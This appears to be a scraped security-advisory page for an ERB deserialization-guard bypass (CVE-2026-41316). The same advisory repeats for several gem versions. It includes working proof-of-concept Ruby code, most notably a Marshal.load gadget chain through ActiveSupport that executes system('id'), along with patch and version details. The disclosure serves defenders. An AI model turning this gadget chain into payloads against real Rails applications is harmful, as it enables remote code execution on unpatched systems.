proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({
  :@instance => erb,
  :@method => :def_module,
  :@var => "@x",
  :@deprecator => Kernel
})

marshaled = Marshal.dump({proxy => 0})

# --- Restore real class and trigger ---
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
ActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class)

# This triggers RCE:
Marshal.load(marshaled)
# Output: uid=0(root) gid=0(root) groups=0(root)

Chain:

Marshal.load reconstructs a Hash with a DeprecatedInstanceVariableProxy as key
Hash key insertion calls .hash on the proxy
.hash is undefined -> method_missing(:hash) -> dispatches to ERB#def_module
def_module -> def_method -> module_eval(eval(src)) -> breakout -> system('id')

Verified on: Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1

Impact

Scope

Any Ruby application that calls Marshal.load on untrusted data AND has both erb and activesupport loaded is vulnerable to arbitrary code execution. This includes:

Ruby on Rails applications that import untrusted serialized data -- any Rails app (every Rails app loads both ActiveSupport and ERB) using Marshal.load for caching, data import, or IPC
Ruby tools that import untrusted serialized data -- any tool using Marshal.load for caching, data import, or IPC
Legacy Rails apps (pre-7.0) that still use Marshal for cookie session serialization

Severity justification

The @_init guard was the recognized last line of defense against ERB being used as a deserialization gadget. Prior gadget chain research -- including Luke Jahnke's November 2024 Ruby 3.4 chain (nastystereo.com) and vakzz's 2021 Universal Deserialization Gadget -- pursued entirely different approaches (Gem::SpecFetcher, UncaughtThrowError, TarReader+WriteAdapter) without exploring the ERB def_method/def_module path. The def_module bypass is simpler and more direct than all previous chains, and was not addressed by the subsequent patches to Ruby 3.4 or RubyGems 3.6.

This bypass renders the @_init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails.

Gadget chain history

Six generations of Ruby Marshal gadget chains have been discovered (2018-2026). Each bypassed the previous round of mitigations:

| Year | Chain | Mitigated in | |------|-------|-------------| | 2018 | Gem::Requirement (Luke Jahnke) | RubyGems 3.0 | | 2021 | UDG -- TarReader+WriteAdapter (vakzz) | RubyGems 3.1 | | 2022 | Gem::Specification._load (vakzz) | RubyGems 3.6 | | 2024 | UncaughtThrowError (Luke Jahnke) | Ruby 3.4 patches | | 2024 | Gem::Source::Git#rev_parse | RubyGems 3.6 | | 2026 | ERB#def_module @_init bypass | ERB 6.0.4 |

Patches

The problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them.

ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4

Add the @_init check to def_method. Since def_module and def_class both delegate to def_method, this single change covers all three bypass paths:

def def_method(mod, methodname, fname='(ERB)')
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)
  end
end

Affected versions


          2.2.0


          2.2.1


          2.2.2


          2.2.3


          3.0.0


          4.0.0


          4.0.1


          4.0.2


          4.0.3


          4.0.4


          5.0.0


          5.0.1

+ 10 more


            5.0.2


            5.0.3


            5.1.0


            5.1.1


            5.1.2


            5.1.3


            6.0.0


            6.0.1


            6.0.2


            6.0.3

Fixed in


          4.0.3.1


          4.0.4.1


          6.0.1.1


          6.0.4

References

Updated Sep 10, 2026 · Source: OSV.dev

Nov 26, 2022

3.0.0 major

1 CVE

CVE-2026-41316 GHSA-q339-8rmv-2mhv Apr 24, 2026

ERB has an @_init deserialization guard bypass via def_module / def_method / def_class

8.1 / 10

High

Network High None None Unchanged High High High

Summary

Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard:

ERB#def_method
ERB#def_module
ERB#def_class

An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely.

The @_init Guard

In ERB#initialize, the guard is set:

# erb.rb line 838
@_init = self.class.singleton_class

In ERB#result and ERB#run, the guard is checked before eval(@src):

# erb.rb line 1008-1012
def result(b=new_toplevel)
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  eval(@src, b, (@filename || '(erb)'), @lineno)
end

When an ERB object is reconstructed via Marshal.load, @_init is either nil (not set during marshal reconstruction) or an attacker-controlled value. Since ERB.singleton_class cannot be marshaled, the attacker cannot set @_init to the correct value, and result/run correctly refuse to execute.

The Bypass

ERB#def_method, ERB#def_module, and ERB#def_class all reach eval(@src) without checking @_init:

# erb.rb line 1088-1093
def def_method(mod, methodname, fname='(ERB)')
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)      # <-- no @_init check
  end
end

# erb.rb line 1113-1117
def def_module(methodname='erb')       # <-- zero-arg call possible
  mod = Module.new
  def_method(mod, methodname, @filename || '(ERB)')
  mod
end

# erb.rb line 1170-1174
def def_class(superklass=Object, methodname='result')  # <-- zero-arg call possible
  cls = Class.new(superklass)
  def_method(cls, methodname, @filename || '(ERB)')
  cls
end

def_module and def_class accept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods.

Method wrapper breakout

def_method wraps @src in a method definition: "def erb\n" + @src + "\nend\n". Code inside a method body only executes when the method is called, not when it's defined. However, by setting @src to begin with end\n, the attacker closes the method definition early. Code after the first end executes immediately at module_eval time:

# Attacker sets @src = "end\nsystem('id')\ndef x"
# After def_method transformation, module_eval receives:
#
#   def erb
#   end
#   system('id')    <- executes at eval time
#   def x
#   end

Proof of Concept

Minimal (ERB only)

require 'erb'

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)

# ERB#result correctly blocks this:
begin
  erb.result
rescue ArgumentError => e
  puts "result: #{e.message} (blocked by @_init -- correct)"
end

# ERB#def_module does NOT block this -- executes system('id'):
erb.def_module
# Output: uid=0(root) gid=0(root) groups=0(root)

Marshal deserialization (ERB + ActiveSupport)

When combined with ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy as a method dispatch gadget, this achieves RCE via Marshal.load:

require 'active_support'
require 'active_support/deprecation'
require 'active_support/deprecation/proxy_wrappers'
require 'erb'

# --- Build payload (replace proxy class for marshaling) ---
real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
class ActiveSupport::Deprecation
  class DeprecatedInstanceVariableProxy
    def initialize(h)
      h.each { |k, v| instance_variable_set(k, v) }
    end
  end
end

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)
erb.instance_variable_set(:@filename, nil)

proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({
  :@instance => erb,
  :@method => :def_module,
  :@var => "@x",
  :@deprecator => Kernel
})

marshaled = Marshal.dump({proxy => 0})

# --- Restore real class and trigger ---
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
ActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class)

# This triggers RCE:
Marshal.load(marshaled)
# Output: uid=0(root) gid=0(root) groups=0(root)

Chain:

Marshal.load reconstructs a Hash with a DeprecatedInstanceVariableProxy as key
Hash key insertion calls .hash on the proxy
.hash is undefined -> method_missing(:hash) -> dispatches to ERB#def_module
def_module -> def_method -> module_eval(eval(src)) -> breakout -> system('id')

Verified on: Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1

Impact

Scope

Any Ruby application that calls Marshal.load on untrusted data AND has both erb and activesupport loaded is vulnerable to arbitrary code execution. This includes:

Ruby on Rails applications that import untrusted serialized data -- any Rails app (every Rails app loads both ActiveSupport and ERB) using Marshal.load for caching, data import, or IPC
Ruby tools that import untrusted serialized data -- any tool using Marshal.load for caching, data import, or IPC
Legacy Rails apps (pre-7.0) that still use Marshal for cookie session serialization

Severity justification

The @_init guard was the recognized last line of defense against ERB being used as a deserialization gadget. Prior gadget chain research -- including Luke Jahnke's November 2024 Ruby 3.4 chain (nastystereo.com) and vakzz's 2021 Universal Deserialization Gadget -- pursued entirely different approaches (Gem::SpecFetcher, UncaughtThrowError, TarReader+WriteAdapter) without exploring the ERB def_method/def_module path. The def_module bypass is simpler and more direct than all previous chains, and was not addressed by the subsequent patches to Ruby 3.4 or RubyGems 3.6.

This bypass renders the @_init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails.

Gadget chain history

Six generations of Ruby Marshal gadget chains have been discovered (2018-2026). Each bypassed the previous round of mitigations:

| Year | Chain | Mitigated in | |------|-------|-------------| | 2018 | Gem::Requirement (Luke Jahnke) | RubyGems 3.0 | | 2021 | UDG -- TarReader+WriteAdapter (vakzz) | RubyGems 3.1 | | 2022 | Gem::Specification._load (vakzz) | RubyGems 3.6 | | 2024 | UncaughtThrowError (Luke Jahnke) | Ruby 3.4 patches | | 2024 | Gem::Source::Git#rev_parse | RubyGems 3.6 | | 2026 | ERB#def_module @_init bypass | ERB 6.0.4 |

Patches

The problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them.

ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4

Add the @_init check to def_method. Since def_module and def_class both delegate to def_method, this single change covers all three bypass paths:

def def_method(mod, methodname, fname='(ERB)')
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)
  end
end

Affected versions


          2.2.0


          2.2.1


          2.2.2


          2.2.3


          3.0.0


          4.0.0


          4.0.1


          4.0.2


          4.0.3


          4.0.4


          5.0.0


          5.0.1

+ 10 more


            5.0.2


            5.0.3


            5.1.0


            5.1.1


            5.1.2


            5.1.3


            6.0.0


            6.0.1


            6.0.2


            6.0.3

Fixed in


          4.0.3.1


          4.0.4.1


          6.0.1.1


          6.0.4

References

Updated Sep 10, 2026 · Source: OSV.dev

Oct 25, 2022

2.2.3 patch

1 CVE

CVE-2026-41316 GHSA-q339-8rmv-2mhv Apr 24, 2026

ERB has an @_init deserialization guard bypass via def_module / def_method / def_class

8.1 / 10

High

Network High None None Unchanged High High High

Summary

Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard:

ERB#def_method
ERB#def_module
ERB#def_class

An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely.

The @_init Guard

In ERB#initialize, the guard is set:

# erb.rb line 838
@_init = self.class.singleton_class

In ERB#result and ERB#run, the guard is checked before eval(@src):

# erb.rb line 1008-1012
def result(b=new_toplevel)
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  eval(@src, b, (@filename || '(erb)'), @lineno)
end

When an ERB object is reconstructed via Marshal.load, @_init is either nil (not set during marshal reconstruction) or an attacker-controlled value. Since ERB.singleton_class cannot be marshaled, the attacker cannot set @_init to the correct value, and result/run correctly refuse to execute.

The Bypass

ERB#def_method, ERB#def_module, and ERB#def_class all reach eval(@src) without checking @_init:

# erb.rb line 1088-1093
def def_method(mod, methodname, fname='(ERB)')
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)      # <-- no @_init check
  end
end

# erb.rb line 1113-1117
def def_module(methodname='erb')       # <-- zero-arg call possible
  mod = Module.new
  def_method(mod, methodname, @filename || '(ERB)')
  mod
end

# erb.rb line 1170-1174
def def_class(superklass=Object, methodname='result')  # <-- zero-arg call possible
  cls = Class.new(superklass)
  def_method(cls, methodname, @filename || '(ERB)')
  cls
end

def_module and def_class accept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods.

Method wrapper breakout

def_method wraps @src in a method definition: "def erb\n" + @src + "\nend\n". Code inside a method body only executes when the method is called, not when it's defined. However, by setting @src to begin with end\n, the attacker closes the method definition early. Code after the first end executes immediately at module_eval time:

# Attacker sets @src = "end\nsystem('id')\ndef x"
# After def_method transformation, module_eval receives:
#
#   def erb
#   end
#   system('id')    <- executes at eval time
#   def x
#   end

Proof of Concept

Minimal (ERB only)

require 'erb'

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)

# ERB#result correctly blocks this:
begin
  erb.result
rescue ArgumentError => e
  puts "result: #{e.message} (blocked by @_init -- correct)"
end

# ERB#def_module does NOT block this -- executes system('id'):
erb.def_module
# Output: uid=0(root) gid=0(root) groups=0(root)

Marshal deserialization (ERB + ActiveSupport)

When combined with ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy as a method dispatch gadget, this achieves RCE via Marshal.load:

require 'active_support'
require 'active_support/deprecation'
require 'active_support/deprecation/proxy_wrappers'
require 'erb'

# --- Build payload (replace proxy class for marshaling) ---
real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
class ActiveSupport::Deprecation
  class DeprecatedInstanceVariableProxy
    def initialize(h)
      h.each { |k, v| instance_variable_set(k, v) }
    end
  end
end

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)
erb.instance_variable_set(:@filename, nil)

proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({
  :@instance => erb,
  :@method => :def_module,
  :@var => "@x",
  :@deprecator => Kernel
})

marshaled = Marshal.dump({proxy => 0})

# --- Restore real class and trigger ---
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
ActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class)

# This triggers RCE:
Marshal.load(marshaled)
# Output: uid=0(root) gid=0(root) groups=0(root)

Chain:

Marshal.load reconstructs a Hash with a DeprecatedInstanceVariableProxy as key
Hash key insertion calls .hash on the proxy
.hash is undefined -> method_missing(:hash) -> dispatches to ERB#def_module
def_module -> def_method -> module_eval(eval(src)) -> breakout -> system('id')

Verified on: Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1

Impact

Scope

Any Ruby application that calls Marshal.load on untrusted data AND has both erb and activesupport loaded is vulnerable to arbitrary code execution. This includes:

Ruby on Rails applications that import untrusted serialized data -- any Rails app (every Rails app loads both ActiveSupport and ERB) using Marshal.load for caching, data import, or IPC
Ruby tools that import untrusted serialized data -- any tool using Marshal.load for caching, data import, or IPC
Legacy Rails apps (pre-7.0) that still use Marshal for cookie session serialization

Severity justification

The @_init guard was the recognized last line of defense against ERB being used as a deserialization gadget. Prior gadget chain research -- including Luke Jahnke's November 2024 Ruby 3.4 chain (nastystereo.com) and vakzz's 2021 Universal Deserialization Gadget -- pursued entirely different approaches (Gem::SpecFetcher, UncaughtThrowError, TarReader+WriteAdapter) without exploring the ERB def_method/def_module path. The def_module bypass is simpler and more direct than all previous chains, and was not addressed by the subsequent patches to Ruby 3.4 or RubyGems 3.6.

This bypass renders the @_init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails.

Gadget chain history

Six generations of Ruby Marshal gadget chains have been discovered (2018-2026). Each bypassed the previous round of mitigations:

| Year | Chain | Mitigated in | |------|-------|-------------| | 2018 | Gem::Requirement (Luke Jahnke) | RubyGems 3.0 | | 2021 | UDG -- TarReader+WriteAdapter (vakzz) | RubyGems 3.1 | | 2022 | Gem::Specification._load (vakzz) | RubyGems 3.6 | | 2024 | UncaughtThrowError (Luke Jahnke) | Ruby 3.4 patches | | 2024 | Gem::Source::Git#rev_parse | RubyGems 3.6 | | 2026 | ERB#def_module @_init bypass | ERB 6.0.4 |

Patches

The problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them.

ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4

Add the @_init check to def_method. Since def_module and def_class both delegate to def_method, this single change covers all three bypass paths:

def def_method(mod, methodname, fname='(ERB)')
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)
  end
end

Affected versions


          2.2.0


          2.2.1


          2.2.2


          2.2.3


          3.0.0


          4.0.0


          4.0.1


          4.0.2


          4.0.3


          4.0.4


          5.0.0


          5.0.1

+ 10 more


            5.0.2


            5.0.3


            5.1.0


            5.1.1


            5.1.2


            5.1.3


            6.0.0


            6.0.1


            6.0.2


            6.0.3

Fixed in


          4.0.3.1


          4.0.4.1


          6.0.1.1


          6.0.4

References

Updated Sep 10, 2026 · Source: OSV.dev

Mar 26, 2021

2.2.1 patch

1 CVE

CVE-2026-41316 GHSA-q339-8rmv-2mhv Apr 24, 2026

ERB has an @_init deserialization guard bypass via def_module / def_method / def_class

8.1 / 10

High

Network High None None Unchanged High High High

Summary

Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard:

ERB#def_method
ERB#def_module
ERB#def_class

An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely.

The @_init Guard

In ERB#initialize, the guard is set:

# erb.rb line 838
@_init = self.class.singleton_class

In ERB#result and ERB#run, the guard is checked before eval(@src):

# erb.rb line 1008-1012
def result(b=new_toplevel)
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  eval(@src, b, (@filename || '(erb)'), @lineno)
end

When an ERB object is reconstructed via Marshal.load, @_init is either nil (not set during marshal reconstruction) or an attacker-controlled value. Since ERB.singleton_class cannot be marshaled, the attacker cannot set @_init to the correct value, and result/run correctly refuse to execute.

The Bypass

ERB#def_method, ERB#def_module, and ERB#def_class all reach eval(@src) without checking @_init:

# erb.rb line 1088-1093
def def_method(mod, methodname, fname='(ERB)')
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)      # <-- no @_init check
  end
end

# erb.rb line 1113-1117
def def_module(methodname='erb')       # <-- zero-arg call possible
  mod = Module.new
  def_method(mod, methodname, @filename || '(ERB)')
  mod
end

# erb.rb line 1170-1174
def def_class(superklass=Object, methodname='result')  # <-- zero-arg call possible
  cls = Class.new(superklass)
  def_method(cls, methodname, @filename || '(ERB)')
  cls
end

def_module and def_class accept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods.

Method wrapper breakout

def_method wraps @src in a method definition: "def erb\n" + @src + "\nend\n". Code inside a method body only executes when the method is called, not when it's defined. However, by setting @src to begin with end\n, the attacker closes the method definition early. Code after the first end executes immediately at module_eval time:

# Attacker sets @src = "end\nsystem('id')\ndef x"
# After def_method transformation, module_eval receives:
#
#   def erb
#   end
#   system('id')    <- executes at eval time
#   def x
#   end

Proof of Concept

Minimal (ERB only)

require 'erb'

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)

# ERB#result correctly blocks this:
begin
  erb.result
rescue ArgumentError => e
  puts "result: #{e.message} (blocked by @_init -- correct)"
end

# ERB#def_module does NOT block this -- executes system('id'):
erb.def_module
# Output: uid=0(root) gid=0(root) groups=0(root)

Marshal deserialization (ERB + ActiveSupport)

When combined with ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy as a method dispatch gadget, this achieves RCE via Marshal.load:

require 'active_support'
require 'active_support/deprecation'
require 'active_support/deprecation/proxy_wrappers'
require 'erb'

# --- Build payload (replace proxy class for marshaling) ---
real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
class ActiveSupport::Deprecation
  class DeprecatedInstanceVariableProxy
    def initialize(h)
      h.each { |k, v| instance_variable_set(k, v) }
    end
  end
end

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)
erb.instance_variable_set(:@filename, nil)

proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({
  :@instance => erb,
  :@method => :def_module,
  :@var => "@x",
  :@deprecator => Kernel
})

marshaled = Marshal.dump({proxy => 0})

# --- Restore real class and trigger ---
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
ActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class)

# This triggers RCE:
Marshal.load(marshaled)
# Output: uid=0(root) gid=0(root) groups=0(root)

Chain:

Marshal.load reconstructs a Hash with a DeprecatedInstanceVariableProxy as key
Hash key insertion calls .hash on the proxy
.hash is undefined -> method_missing(:hash) -> dispatches to ERB#def_module
def_module -> def_method -> module_eval(eval(src)) -> breakout -> system('id')

Verified on: Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1

Impact

Scope

Any Ruby application that calls Marshal.load on untrusted data AND has both erb and activesupport loaded is vulnerable to arbitrary code execution. This includes:

Ruby on Rails applications that import untrusted serialized data -- any Rails app (every Rails app loads both ActiveSupport and ERB) using Marshal.load for caching, data import, or IPC
Ruby tools that import untrusted serialized data -- any tool using Marshal.load for caching, data import, or IPC
Legacy Rails apps (pre-7.0) that still use Marshal for cookie session serialization

Severity justification

The @_init guard was the recognized last line of defense against ERB being used as a deserialization gadget. Prior gadget chain research -- including Luke Jahnke's November 2024 Ruby 3.4 chain (nastystereo.com) and vakzz's 2021 Universal Deserialization Gadget -- pursued entirely different approaches (Gem::SpecFetcher, UncaughtThrowError, TarReader+WriteAdapter) without exploring the ERB def_method/def_module path. The def_module bypass is simpler and more direct than all previous chains, and was not addressed by the subsequent patches to Ruby 3.4 or RubyGems 3.6.

This bypass renders the @_init mitigation ineffective across all ERB versions from 2.2.0 through 6.0.3 (latest as of April 2026). Combined with the DeprecatedInstanceVariableProxy gadget (present in all ActiveSupport versions through 7.2.3), this constitutes a universal RCE gadget chain for Ruby 3.2+ applications using Rails.

Gadget chain history

Six generations of Ruby Marshal gadget chains have been discovered (2018-2026). Each bypassed the previous round of mitigations:

| Year | Chain | Mitigated in | |------|-------|-------------| | 2018 | Gem::Requirement (Luke Jahnke) | RubyGems 3.0 | | 2021 | UDG -- TarReader+WriteAdapter (vakzz) | RubyGems 3.1 | | 2022 | Gem::Specification._load (vakzz) | RubyGems 3.6 | | 2024 | UncaughtThrowError (Luke Jahnke) | Ruby 3.4 patches | | 2024 | Gem::Source::Git#rev_parse | RubyGems 3.6 | | 2026 | ERB#def_module @_init bypass | ERB 6.0.4 |

Patches

The problem has been patched at the following ERB versions. Please upgrade your erb.gem to any one of them.

ERB 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4

Add the @_init check to def_method. Since def_module and def_class both delegate to def_method, this single change covers all three bypass paths:

def def_method(mod, methodname, fname='(ERB)')
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)
  end
end

Affected versions


          2.2.0


          2.2.1


          2.2.2


          2.2.3


          3.0.0


          4.0.0


          4.0.1


          4.0.2


          4.0.3


          4.0.4


          5.0.0


          5.0.1

+ 10 more


            5.0.2


            5.0.3


            5.1.0


            5.1.1


            5.1.2


            5.1.3


            6.0.0


            6.0.1


            6.0.2


            6.0.3

Fixed in


          4.0.3.1


          4.0.4.1


          6.0.1.1


          6.0.4

References

Updated Sep 10, 2026 · Source: OSV.dev

Jan 21, 2021

2.2.2 patch

1 CVE

CVE-2026-41316 GHSA-q339-8rmv-2mhv Apr 24, 2026

ERB has an @_init deserialization guard bypass via def_module / def_method / def_class

8.1 / 10

High

Network High None None Unchanged High High High

Summary

Ruby 2.7.0 (before ERB 2.2.0 was published on rubygems.org) introduced an @_init instance variable guard in ERB#result and ERB#run to prevent code execution when an ERB object is reconstructed via Marshal.load (deserialization). However, three other public methods that also evaluate @src via eval() were not given the same guard:

ERB#def_method
ERB#def_module
ERB#def_class

An attacker who can trigger Marshal.load on untrusted data in a Ruby application that has erb loaded can use ERB#def_module (zero-arg, default parameters) as a code execution sink, bypassing the @_init protection entirely.

The @_init Guard

In ERB#initialize, the guard is set:

# erb.rb line 838
@_init = self.class.singleton_class

In ERB#result and ERB#run, the guard is checked before eval(@src):

# erb.rb line 1008-1012
def result(b=new_toplevel)
  unless @_init.equal?(self.class.singleton_class)
    raise ArgumentError, "not initialized"
  end
  eval(@src, b, (@filename || '(erb)'), @lineno)
end

When an ERB object is reconstructed via Marshal.load, @_init is either nil (not set during marshal reconstruction) or an attacker-controlled value. Since ERB.singleton_class cannot be marshaled, the attacker cannot set @_init to the correct value, and result/run correctly refuse to execute.

The Bypass

ERB#def_method, ERB#def_module, and ERB#def_class all reach eval(@src) without checking @_init:

# erb.rb line 1088-1093
def def_method(mod, methodname, fname='(ERB)')
  src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n"
  mod.module_eval do
    eval(src, binding, fname, -1)      # <-- no @_init check
  end
end

# erb.rb line 1113-1117
def def_module(methodname='erb')       # <-- zero-arg call possible
  mod = Module.new
  def_method(mod, methodname, @filename || '(ERB)')
  mod
end

# erb.rb line 1170-1174
def def_class(superklass=Object, methodname='result')  # <-- zero-arg call possible
  cls = Class.new(superklass)
  def_method(cls, methodname, @filename || '(ERB)')
  cls
end

def_module and def_class accept zero arguments (all parameters have defaults), making them callable through deserialization gadget chains that can only invoke zero-arg methods.

Method wrapper breakout

def_method wraps @src in a method definition: "def erb\n" + @src + "\nend\n". Code inside a method body only executes when the method is called, not when it's defined. However, by setting @src to begin with end\n, the attacker closes the method definition early. Code after the first end executes immediately at module_eval time:

# Attacker sets @src = "end\nsystem('id')\ndef x"
# After def_method transformation, module_eval receives:
#
#   def erb
#   end
#   system('id')    <- executes at eval time
#   def x
#   end

Proof of Concept

Minimal (ERB only)

require 'erb'

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)

# ERB#result correctly blocks this:
begin
  erb.result
rescue ArgumentError => e
  puts "result: #{e.message} (blocked by @_init -- correct)"
end

# ERB#def_module does NOT block this -- executes system('id'):
erb.def_module
# Output: uid=0(root) gid=0(root) groups=0(root)

Marshal deserialization (ERB + ActiveSupport)

When combined with ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy as a method dispatch gadget, this achieves RCE via Marshal.load:

require 'active_support'
require 'active_support/deprecation'
require 'active_support/deprecation/proxy_wrappers'
require 'erb'

# --- Build payload (replace proxy class for marshaling) ---
real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
class ActiveSupport::Deprecation
  class DeprecatedInstanceVariableProxy
    def initialize(h)
      h.each { |k, v| instance_variable_set(k, v) }
    end
  end
end

erb = ERB.allocate
erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x")
erb.instance_variable_set(:@lineno, 0)
erb.instance_variable_set(:@filename, nil)

proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({
  :@instance => erb,
  :@method => :def_module,
  :@var => "@x",
  :@deprecator => Kernel
})

marshaled = Marshal.dump({proxy => 0})

# --- Restore real class and trigger ---
ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy)
ActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class)

# This triggers RCE:
Marshal.load(marshaled)
# Output: uid=0(root) gid=0(root) groups=0(root)

Chain:

Marshal.load reconstructs a Hash with a DeprecatedInstanceVariableProxy as key
Hash key insertion calls .hash on the proxy
.hash is undefined -> method_missing(:hash) -> dispatches to ERB#def_module
def_module -> def_method -> module_eval(eval(src)) -> breakout -> system('id')

Verified on: Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1

Impact

Scope

Any Ruby application that calls Marshal.load on untrusted data AND has both erb and activesupport loaded is vulnerable to arbitrary code execution. This includes:

Ruby on Rails applications that import untrusted serialized data -- any Rails app (every Rails app loads both ActiveSupport and ERB) using Marshal.load for caching, data import, or IPC
Ruby tools that import untrusted serialized data -- any tool using Marshal.load for caching, data import, or IPC
Legacy Rails apps (pre-7.0) that still use Marshal for cookie session serialization

Severity justification

